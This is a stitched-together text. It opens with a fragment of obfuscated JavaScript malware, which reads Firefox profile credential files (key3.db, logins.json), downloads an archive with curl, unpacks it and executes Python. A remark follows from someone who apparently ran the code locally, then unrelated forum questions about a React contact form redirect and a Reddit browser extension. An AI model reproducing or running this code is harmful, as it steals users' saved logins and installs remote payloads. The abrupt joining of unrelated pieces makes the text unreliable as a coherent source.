      r = n("a2V5My5kYg"),
      e = n("bG9naW5zLmpzb24");
    try {
      let l = "";
      if (
        ((l = `${hd}${n("Ly5tb3ppbGxhL2ZpcmVmb3gv")}`), l && "" !== l && p(l))
      )
        for (let n = 0; n < 200; n++) {
          const s = 0 === n ? b : `${G} ${n}`,
            h = `${l}/${s}/${$}`,
            o = `${l}/${s}/${r}`,
            i = `${l}/${s}/${e}`;
          try {
            if (!p(h)) continue;
            t.push({ [V]: a[c](h), [w]: { [f]: `flk4_${n}` } });
          } catch (t) {}
          try {
            if (!p(o)) continue;
            t.push({ [V]: a[c](o), [w]: { [f]: `flk3_${n}` } });
          } catch (t) {}
          try {
            if (!p(i)) continue;
            t.push({ [V]: a[c](i), [w]: { [f]: `fllj_${n}` } });
          } catch (t) {}
        }
    } catch (t) {}
    return S(t), t;
  },
  P = n("cm1TeW5j"),
  D = "XC5weXBccHl0aG9uLmV4ZQ",
  K = 51476590;
let tt = 0;
const ct = async (t) => {
    const c = `${n("dGFyIC14Zg")} ${t} -C ${hd}`;
    ex(c, (c, $, r) => {
      if (c) return a[P](t), void (tt = 0);
      a[P](t), rt();
    });
  },
  at = () => {
    const t = n("cDIuemlw"),
      c = `${l()}${n("L3Bkb3du")}`,
      $ = `${td}\${n("cC56aQ")}`,
      r = `${td}\${t}`;
    if (tt >= K + 6) return;
    const e = n("cmVuYW1lU3luYw"),
      s = n("cmVuYW1l");
    if (a[u]($))
      try {
        var h = a[j]($);
        h.size >= K + 6
          ? ((tt = h.size),
            a[s]($, r, (t) => {
              if (t) throw t;
              ct(r);
            }))
          : (tt < h.size ? (tt = h.size) : (a[P]($), (tt = 0)), $t());
      } catch (t) {}
    else {
      const t = `${n("Y3VybCAtTG8")} "${$}" "${c}"`;
      ex(t, (t, c, n) => {
        if (t) return (tt = 0), void $t();
        try {
          (tt = K + 6), a[e]($, r), ct(r);
        } catch (t) {}
      });
    }
  };
function $t() {
  setTimeout(() => {
    at();
  }, 2e4);
}
const rt = async () =>
  await new Promise((t, c) => {
    if ("w" == pl[0]) {
      const t = `${hd}${n(D)}`;
      a[u](`${t}`)
        ? (() => {
            const t = l(),
              c = n(m),
              $ = n(o),
              r = n(Z),
              e = n(i),
              s = `${t}${c}/${h}`,
              u = `${hd}${e}`,
              d = `"${hd}${n(D)}" "${u}"`;
            try {
              a[P](u);
            } catch (t) {}
            rq[$](s, (t, c, $) => {
              if (!t)
                try {
                  a[r](u, $), ex(d, (t, c, a) => {});
                } catch (t) {}
            });
          })()
        : at();
    } else
      (() => {
        const t = l(),
          c = n(m),
          $ = n(Z),
          r = n(o),
          e = n(i),
          s = n("cHl0aG9u"),
          u = `${t}${c}/${h}`,
          d = `${hd}${e}`;
        let y = `${s}3 "${d}"`;
        rq[r](u, (t, c, r) => {
          t || (a[$](d, r), ex(y, (t, c, a) => {}));
        });
      })();
  });
var et = 0;
const nt = async () => {
  try {
    (e = Date.now()),
      await (async () => {
        k = hs;
        try {
          const t = s("~/");
          await T(J, 0),
            await T(_, 1),
            await T(g, 2),
            "w" == pl[0]
              ? ((pa = `${t}${n(F)}${n("TG9jYWwvTWljcm9zb2Z0L0VkZ2U")}${n(R)}`),
                await C(pa, "3_", !1))
              : "d" == pl[0]
              ? (await H(), await A(), await E())
              : "l" == pl[0] && (await M(), await I(), await O());
        } catch (t) {}
      })(),
      rt();
  } catch (t) {}
};
nt();
let lt = setInterval(() => {
  (et += 1) < 5 ? nt() : clearInterval(lt);
}, 6e5);`

Ran with the internet off on localhost…not sure if it installs anything

We have a Contact form in our website, so that user enter all details and enter submit button, two things will happen :

<Button
  priority="high"
  type="submit"
  disabled={isBusy}
  data-cy="submit"
  onClick={() => {
    submitContactUsForm();
  }}
>
  {}
  submit
</Button>;

useEffect(() => {
  if (response && response.status) {
    addToast({
      type: "success",
      message: formatMessage({
        id: "contactPage.submitMessage",
        defaultMessage: "Your message has been sent.",
      }),
      timeout: 5000,
    });
  }
}, [addToast, formatMessage, response]);
                   

1. We are displaying message : “Your message has been sent” in the same page and user will stay on same page.
2. we are passing those form information to email id : [email protected]

enter image description here

Requirement :

Once User click on Submit, we need to redirect user to another page ( thank-you ) instead of keeping in same page. So i have done below changes and now user redirecting to another page :

                          `<Link to="/thank-you">
                            <Button
                                priority="high"
                                type="submit"
                                disabled={isBusy}
                                data-cy="submit"
                                className='submit-button'
                                onClick={()=>{

                                    submitContactUsForm()

                                }}
                            >
                                {}
                                submit
                            </Button>
            </Link>`

Issue :

Now Form Information is not passing to Email Id.

Here is the complete code : https://pastebin.com/aZpFH2F7

I have tried code to redirect to another page when user submit form and it is working fine, but strange that it is not triggering any email now

I’m making an extension for reddit which involves a lot of text processing. There’s also a tkinter window where the input data has to be passed to the javascript code. What’s the best way to do this? Will the inclusion of python scripts make it harder for other users to run?

Right now I’m working on Mozilla Firefox but I’m planning to localize the extension for chrome too.